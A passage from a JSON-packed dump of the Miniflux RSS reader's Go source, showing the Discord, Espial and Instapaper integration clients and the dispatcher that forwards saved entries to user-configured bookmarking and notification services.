response.StatusCode)\n\t}\n\n\treturn nil\n}\n\ntype card struct {\n\tType    string `json:\"type\"`\n\tContent string `json:\"content\"`\n}\n"
  },
  {
    "path": "internal/integration/discord/discord.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\n// Discord Webhooks documentation: https://discord.com/developers/docs/resources/webhook\n\npackage discord // import \"miniflux.app/v2/internal/integration/discord\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/urllib\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\nconst discordMsgColor = 5793266\n\ntype Client struct {\n\twebhookURL string\n}\n\nfunc NewClient(webhookURL string) *Client {\n\treturn &Client{webhookURL: webhookURL}\n}\n\nfunc (c *Client) SendDiscordMsg(feed *model.Feed, entries model.Entries) error {\n\tfor _, entry := range entries {\n\t\trequestBody, err := json.Marshal(&discordMessage{\n\t\t\tEmbeds: []discordEmbed{\n\t\t\t\t{\n\t\t\t\t\tTitle: \"RSS feed update from Miniflux\",\n\t\t\t\t\tColor: discordMsgColor,\n\t\t\t\t\tFields: []discordFields{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName:  \"Updated feed\",\n\t\t\t\t\t\t\tValue: feed.Title,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName:  \"Article link\",\n\t\t\t\t\t\t\tValue: \"[\" + entry.Title + \"]\" + \"(\" + entry.URL + \")\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName:   \"Author\",\n\t\t\t\t\t\t\tValue:  entry.Author,\n\t\t\t\t\t\t\tInline: true,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName:   \"Source website\",\n\t\t\t\t\t\t\tValue:  urllib.RootURL(feed.SiteURL),\n\t\t\t\t\t\t\tInline: true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"discord: unable to encode request body: %v\", err)\n\t\t}\n\n\t\trequest, err := http.NewRequest(http.MethodPost, c.webhookURL, bytes.NewReader(requestBody))\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"discord: unable to create request: %v\", err)\n\t\t}\n\n\t\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\t\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\t\tslog.Debug(\"Sending Discord notification\",\n\t\t\tslog.String(\"webhookURL\", c.webhookURL),\n\t\t\tslog.String(\"title\", feed.Title),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\t\tresponse, err := httpClient.Do(request)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"discord: unable to send request: %v\", err)\n\t\t}\n\t\tdefer response.Body.Close()\n\n\t\tif response.StatusCode >= 400 {\n\t\t\treturn fmt.Errorf(\"discord: unable to send a notification: url=%s status=%d\", c.webhookURL, response.StatusCode)\n\t\t}\n\t}\n\n\treturn nil\n}\n\ntype discordFields struct {\n\tName   string `json:\"name\"`\n\tValue  string `json:\"value\"`\n\tInline bool   `json:\"inline,omitempty\"`\n}\n\ntype discordEmbed struct {\n\tTitle  string          `json:\"title\"`\n\tColor  int             `json:\"color\"`\n\tFields []discordFields `json:\"fields\"`\n}\n\ntype discordMessage struct {\n\tEmbeds []discordEmbed `json:\"embeds\"`\n}\n"
  },
  {
    "path": "internal/integration/espial/espial.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage espial // import \"miniflux.app/v2/internal/integration/espial\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/urllib\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\n\ntype Client struct {\n\tbaseURL string\n\tapiKey  string\n}\n\nfunc NewClient(baseURL, apiKey string) *Client {\n\treturn &Client{baseURL: baseURL, apiKey: apiKey}\n}\n\nfunc (c *Client) CreateLink(entryURL, entryTitle, espialTags string) error {\n\tif c.baseURL == \"\" || c.apiKey == \"\" {\n\t\treturn errors.New(\"espial: missing base URL or API key\")\n\t}\n\n\tapiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, \"/api/add\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"espial: invalid API endpoint: %v\", err)\n\t}\n\n\trequestBody, err := json.Marshal(&espialDocument{\n\t\tTitle:  entryTitle,\n\t\tURL:    entryURL,\n\t\tToRead: true,\n\t\tTags:   espialTags,\n\t})\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"espial: unable to encode request body: %v\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"espial: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\trequest.Header.Set(\"Authorization\", \"ApiKey \"+c.apiKey)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"espial: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode != http.StatusCreated {\n\t\tresponseBody := new(bytes.Buffer)\n\t\tresponseBody.ReadFrom(response.Body)\n\n\t\treturn fmt.Errorf(\"espial: unable to create link: url=%s status=%d body=%s\", apiEndpoint, response.StatusCode, responseBody.String())\n\t}\n\n\treturn nil\n}\n\ntype espialDocument struct {\n\tTitle  string `json:\"title,omitempty\"`\n\tURL    string `json:\"url,omitempty\"`\n\tToRead bool   `json:\"toread,omitempty\"`\n\tTags   string `json:\"tags,omitempty\"`\n}\n"
  },
  {
    "path": "internal/integration/instapaper/instapaper.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage instapaper // import \"miniflux.app/v2/internal/integration/instapaper\"\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\n\ntype Client struct {\n\tusername string\n\tpassword string\n}\n\nfunc NewClient(username, password string) *Client {\n\treturn &Client{username: username, password: password}\n}\n\nfunc (c *Client) AddURL(entryURL, entryTitle string) error {\n\tif c.username == \"\" || c.password == \"\" {\n\t\treturn errors.New(\"instapaper: missing username or password\")\n\t}\n\n\tvalues := url.Values{}\n\tvalues.Add(\"url\", entryURL)\n\tvalues.Add(\"title\", entryTitle)\n\n\tapiEndpoint := \"https://www.instapaper.com/api/add?\" + values.Encode()\n\trequest, err := http.NewRequest(http.MethodGet, apiEndpoint, nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"instapaper: unable to create request: %v\", err)\n\t}\n\n\trequest.SetBasicAuth(c.username, c.password)\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"instapaper: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode != http.StatusCreated {\n\t\treturn fmt.Errorf(\"instapaper: unable to add URL: url=%s status=%d\", apiEndpoint, response.StatusCode)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/integration/integration.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage integration // import \"miniflux.app/v2/internal/integration\"\n\nimport (\n\t\"log/slog\"\n\n\t\"miniflux.app/v2/internal/integration/apprise\"\n\t\"miniflux.app/v2/internal/integration/archiveorg\"\n\t\"miniflux.app/v2/internal/integration/betula\"\n\t\"miniflux.app/v2/internal/integration/cubox\"\n\t\"miniflux.app/v2/internal/integration/discord\"\n\t\"miniflux.app/v2/internal/integration/espial\"\n\t\"miniflux.app/v2/internal/integration/instapaper\"\n\t\"miniflux.app/v2/internal/integration/karakeep\"\n\t\"miniflux.app/v2/internal/integration/linkace\"\n\t\"miniflux.app/v2/internal/integration/linkding\"\n\t\"miniflux.app/v2/internal/integration/linktaco\"\n\t\"miniflux.app/v2/internal/integration/linkwarden\"\n\t\"miniflux.app/v2/internal/integration/matrixbot\"\n\t\"miniflux.app/v2/internal/integration/notion\"\n\t\"miniflux.app/v2/internal/integration/ntfy\"\n\t\"miniflux.app/v2/internal/integration/nunuxkeeper\"\n\t\"miniflux.app/v2/internal/integration/omnivore\"\n\t\"miniflux.app/v2/internal/integration/pinboard\"\n\t\"miniflux.app/v2/internal/integration/pushover\"\n\t\"miniflux.app/v2/internal/integration/raindrop\"\n\t\"miniflux.app/v2/internal/integration/readeck\"\n\t\"miniflux.app/v2/internal/integration/readwise\"\n\t\"miniflux.app/v2/internal/integration/shaarli\"\n\t\"miniflux.app/v2/internal/integration/shiori\"\n\t\"miniflux.app/v2/internal/integration/slack\"\n\t\"miniflux.app/v2/internal/integration/telegrambot\"\n\t\"miniflux.app/v2/internal/integration/wallabag\"\n\t\"miniflux.app/v2/internal/integration/webhook\"\n\t\"miniflux.app/v2/internal/model\"\n)\n\n// SendEntry sends the entry to third-party providers when the user click on \"Save\".\nfunc SendEntry(entry *model.Entry, userIntegrations *model.Integration) {\n\tif userIntegrations.BetulaEnabled {\n\t\tslog.Debug(\"Sending entry to Betula\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tclient := betula.NewClient(userIntegrations.BetulaURL, userIntegrations.BetulaToken)\n\t\terr := client.CreateBookmark(\n\t\t\tentry.URL,\n\t\t\tentry.Title,\n\t\t\tentry.Tags,\n\t\t)\n\n\t\tif err != nil {\n\t\t\tslog.Error(\"Unable to send entry to Betula\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.PinboardEnabled {\n\t\tslog.Debug(\"Sending entry to Pinboard\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tclient := pinboard.NewClient(userIntegrations.PinboardToken)\n\t\terr := client.CreateBookmark(\n\t\t\tentry.URL,\n\t\t\tentry.Title,\n\t\t\tuserIntegrations.PinboardTags,\n\t\t\tuserIntegrations.PinboardMarkAsUnread,\n\t\t)\n\n\t\tif err != nil {\n\t\t\tslog.Error(\"Unable to send entry to Pinboard\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.InstapaperEnabled {\n\t\tslog.Debug(\"Sending entry to Instapaper\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tclient := instapaper.NewClient(userIntegrations.InstapaperUsername, userIntegrations.InstapaperPassword)\n\t\tif err := client.AddURL(entry.URL, entry.Title); err != nil {\n\t\t\tslog.Error(\"Unable to send entry to Instapaper\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.WallabagEnabled {\n\t\tslog.Debug(\"Sending entry to Wallabag\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.String(\"user_tags\", userIntegrations.WallabagTags),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tclient := wallabag.NewClient(\n\t\t\tuserIntegrations.WallabagURL,\n\t\t\tuserIntegrations.WallabagClientID,\n\t\t\tuserIntegrations.WallabagClientSecret,\n\t\t\tuserIntegrations.WallabagUsername,\n\t\t\tuserIntegrations.WallabagPassword,\n\t\t\tuserIntegrations.WallabagTags,\n\t\t\tuserIntegrations.WallabagOnlyURL,\n\t\t)\n\n\t\tif err := client.CreateEntry(entry.URL, entry.Title, entry.Content); err != nil {\n\t\t\tslog.Error(\"Unable to send entry to Wallabag\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.String(\"user_tags\", userIntegrations.WallabagTags),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.NotionEnabled {\n\t\tslog.Debug(\"Sending entry to Notion\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tclient := notion.NewClient(\n\t\t\tuserIntegrations.NotionToken,\n\t\t\tuserIntegrations.NotionPageID,\n\t\t)\n\t\tif err := client.UpdateDocument(entry.URL, entry.Title); err != nil {\n\t\t\tslog.Error(\"Unable to send entry to Notion\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.NunuxKeeperEnabled {\n\t\tslog.Debug(\"Sending entry to NunuxKeeper\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tclient := nunuxkeeper.NewClient(\n\t\t\tuserIntegrations.NunuxKeeperURL,\n\t\t\tuserIntegrations.NunuxKeeperAPIKey,\n\t\t)\n\n\t\tif err := client.AddEntry(entry.URL, entry.Title, entry.Content); err != nil {\n\t\t\tslog.Error(\"Unable to send entry to NunuxKeeper\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.EspialEnabled {\n\t\tslog.Debug(\"Sending entry to Espial\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tclient := espial.NewClient(\n\t\t\tuserIntegrations.EspialURL,\n\t\t\tuserIntegrations.EspialAPIKey,\n\t\t)\n\n\t\tif err := client.CreateLink(entry.URL, entry.Title, userIntegrations.EspialTags); err != nil {\n\t\t\tslog.Error(\"Unable to send entry to Espial\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.LinkAceEnabled {\n\t\tslog.Debug(\"Sending entry to LinkAce\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tclient := linkace.NewClient(\n\t\t\tuserIntegrations.LinkAceURL,\n\t\t\tuserIntegrations.LinkAceAPIKey,\n\t\t\tuserIntegrations.LinkAceTags,\n\t\t\tuserIntegrations.LinkAcePrivate,\n\t\t\tuserIntegrations.LinkAceCheckDisabled,\n\t\t)\n\t\tif err := client.AddURL(entry.URL, entry.Title); err != nil {\n\t\t\tslog.Error(\"Unable to send entry to LinkAce\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.LinkdingEnabled {\n\t\tslog.Debug(\"Sending entry to Linkding\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tclient := linkding.NewClient(\n\t\t\tuserIntegrations.LinkdingURL,\n\t\t\tuserIntegrations.LinkdingAPIKey,\n\t\t\tuserIntegrations.LinkdingTags,\n\t\t\tuserIntegrations.LinkdingMarkAsUnread,\n\t\t)\n\t\tif err := client.CreateBookmark(entry.URL, entry.Title); err != nil {\n\t\t\tslog.Error(\"Unable to send entry to Linkding\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.LinktacoEnabled {\n\t\tslog.Debug(\"Sending entry to LinkTaco\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tclient := linktaco.NewClient(\n\t\t\tuserIntegrations.LinktacoAPIToken,\n\t\t\tuserIntegrations.LinktacoOrgSlug,\n\t\t\tuserIntegrations.LinktacoTags,\n\t\t\tuserIntegrations.LinktacoVisibility,\n\t\t)\n\t\tif err := client.CreateBookmark(entry.URL, entry.Title, entry.Content); err != nil {\n\t\t\tslog.Error(\"Unable to send entry to LinkTaco\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.LinkwardenEnabled {\n\t\tattrs := []any{\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t}\n\n\t\tif userIntegrations.LinkwardenCollectionID != nil {\n\t\t\tattrs = append(attrs, slog.Int64(\"collection_id\", *userIntegrations.LinkwardenCollectionID))\n\t\t}\n\n\t\tslog.Debug(\"Sending entry to linkwarden\", attrs...)\n\n\t\tclient := linkwarden.NewClient(\n\t\t\tuserIntegrations.LinkwardenURL,\n\t\t\tuserIntegrations.LinkwardenAPIKey,\n\t\t\tuserIntegrations.LinkwardenCollectionID,\n\t\t)\n\t\tif err := client.CreateBookmark(entry.URL, entry.Title); err != nil {\n\t\t\tattrs = append(attrs, slog.Any(\"error\", err))\n\t\t\tslog.Error(\"Unable to send entry to Linkwarden\", attrs...)\n\t\t}\n\t}\n\n\tif userIntegrations.ReadeckEnabled {\n\t\tslog.Debug(\"Sending entry to Readeck\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tclient := readeck.NewClient(\n\t\t\tuserIntegrations.ReadeckURL,\n\t\t\tuserIntegrations.ReadeckAPIKey,\n\t\t\tuserIntegrations.ReadeckLabels,\n\t\t\tuserIntegrations.ReadeckOnlyURL,\n\t\t)\n\t\tif err := client.CreateBookmark(entry.URL, entry.Title, entry.Content); err != nil {\n\t\t\tslog.Error(\"Unable to send entry to Readeck\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.ReadwiseEnabled {\n\t\tslog.Debug(\"Sending entry to Readwise\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tclient := readwise.NewClient(\n\t\t\tuserIntegrations.ReadwiseAPIKey,\n\t\t)\n\n\t\tif err := client.CreateDocument(entry.URL); err != nil {\n\t\t\tslog.Error(\"Unable to send entry to Readwise\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.CuboxEnabled {\n\t\tslog.Debug(\"Sending entry to Cubox\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tclient := cubox.NewClient(userIntegrations.CuboxAPILink)\n\n\t\tif err := client.SaveLink(entry.URL); err != nil {\n\t\t\tslog.Error(\"Unable to send entry to Cubox\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.ShioriEnabled {\n\t\tslog.Debug(\"Sending entry to Shiori\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tclient := shiori.NewClient(\n\t\t\tuserIntegrations.ShioriURL,\n\t\t\tuserIntegrations.ShioriUsername,\n\t\t\tuserIntegrations.ShioriPassword,\n\t\t)\n\n\t\tif err := client.CreateBookmark(entry.URL, entry.Title); err != nil {\n\t\t\tslog.Error(\"Unable to send entry to Shiori\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.ShaarliEnabled {\n\t\tslog.Debug(\"Sending entry to Shaarli\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tclient := shaarli.NewClient(\n\t\t\tuserIntegrations.ShaarliURL,\n\t\t\tuserIntegrations.ShaarliAPISecret,\n\t\t)\n\n\t\tif err := client.CreateLink(entry.URL, entry.Title); err != nil {\n\t\t\tslog.Error(\"Unable to send entry to Shaarli\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.ArchiveorgEnabled {\n\t\tslog.Debug(\"Sending entry to archive.org\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tif err := archiveorg.NewClient().SendURL(entry.URL); err != nil {\n\t\t\tslog.Error(\"Unable to send entry to Archive.org\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.WebhookEnabled {\n\t\tvar webhookURL string\n\t\tif entry.Feed != nil && entry.Feed.WebhookURL != \"\" {\n\t\t\twebhookURL = entry.Feed.WebhookURL\n\t\t} else {\n\t\t\twebhookURL = userIntegrations.WebhookURL\n\t\t}\n\n\t\tslog.Debug(\"Sending entry to Webhook\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\tslog.String(\"webhook_url\", webhookURL),\n\t\t)\n\n\t\twebhookClient := webhook.NewClient(webhookURL, userIntegrations.WebhookSecret)\n\t\tif err := webhookClient.SendSaveEntryWebhookEvent(entry); err != nil {\n\t\t\tslog.Error(\"Unable to send entry to Webhook\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.String(\"webhook_url\", webhookURL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.OmnivoreEnabled {\n\t\tslog.Debug(\"Sending entry to Omnivore\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tclient := omnivore.NewClient(userIntegrations.OmnivoreAPIKey, userIntegrations.OmnivoreURL)\n\t\tif err := client.SaveURL(entry.URL); err != nil {\n\t\t\tslog.Error(\"Unable to send entry to Omnivore\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.KarakeepEnabled {\n\t\tslog.Debug(\"Sending entry to Karakeep\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.String(\"user_tags\", userIntegrations.KarakeepTags),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tclient := karakeep.NewClient(\n\t\t\tuserIntegrations.KarakeepAPIKey,\n\t\t\tuserIntegrations.KarakeepURL,\n\t\t\tuserIntegrations.KarakeepTags,\n\t\t)\n\t\tif err := client.SaveURL(entry.URL); err != nil {\n\t\t\tslog.Error(\"Unable to send entry to Karakeep\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.String(\"user_tags\", userIntegrations.KarakeepTags),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.RaindropEnabled {\n\t\tslog.Debug(\"Sending entry to Raindrop\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\tclient := raindrop.NewClient(userIntegrations.RaindropToken, userIntegrations.RaindropCollectionID, userIntegrations.RaindropTags)\n\t\tif err := client.CreateRaindrop(entry.URL, entry.Title); err != nil {\n\t\t\tslog.Error(\"Unable to send entry to Raindrop\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n}\n\n// PushEntries pushes a list of entries to activated third-party providers 